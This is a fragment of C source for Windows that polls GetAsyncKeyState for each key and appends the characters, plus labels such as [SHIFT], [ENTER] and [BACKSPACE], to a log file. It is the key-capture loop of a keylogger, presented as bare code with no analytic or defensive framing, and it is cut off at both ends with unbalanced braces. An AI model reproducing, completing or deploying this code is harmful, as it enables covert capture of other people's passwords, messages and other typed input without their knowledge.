... FILE *file; file = fopen(filename, "a+"); if (!(file)) return -1; if(GetAsyncKeyState(character)==-32767) { if((character>=39)&&(character<=64)) { fputc(character,file); break; } else if((character>64)&&(character<91)) { character+=32; fputc(character,file); break; } else { switch(character) { case VK_SPACE: fputc(' ',file); break; case VK_SHIFT: fputs("\r\n[SHIFT]\r\n",file); break; case VK_RETURN: fputs("\r\n[ENTER]\r\n",file); break; case VK_BACK: fputs("\r\n[BACKSPACE]\r\n",file); break; case VK_TAB: fputs("\r\n[TAB]\r\n",file); break; case VK_CONTROL: fputs("\r\n[CTRL]\r\n",file); break; case VK_DELETE: fputs("\r\n[DEL]\r\n",file); break; case VK_OEM_1: fputs("\r\n[;:]\r\n",file); break; case VK_OEM_2: fputs("\r\n[/?]\r\n",file); break; case VK_OEM_3: fputs("\r\n[`~]\r\n",file); break; case VK_OEM_4: fputs("\r\n[ [{ ]\r\n",file); break; case VK_OEM_5: fputs("\r\n[\\|]\r\n",file); break; case VK_OEM_6: fputs("\r\n[ ]} ]\r\n",file); break; case VK_OEM_7: fputs("\r\n['\"]\r\n",file); break; case 187: fputc('+',file); break; case 188: fputc(',',file); break; case 189: fputc('-',file); break; case 190: fputc('.',file); break; case VK_NUMPAD0: fputc('0',file); break; case VK_NUMPAD1: fputc('1',file); break; case VK_NUMPAD2: fputc('2',file); break; case VK_NUMPAD3: fputc('3',file); break; case VK_NUMPAD4: fputc('4',file); break; case VK_NUMPAD5: fputc('5',file); break; case VK_NUMPAD6: fputc('6',file); break; case VK_NUMPAD7: fputc('7',file); break; case VK_NUMPAD8: fputc('8',file); break; case VK_NUMPAD9: fputc('9',file); break; case VK_CAPITAL: fputs("\r\n[CAPS LOCK]\r\n",file); break; default: break; } }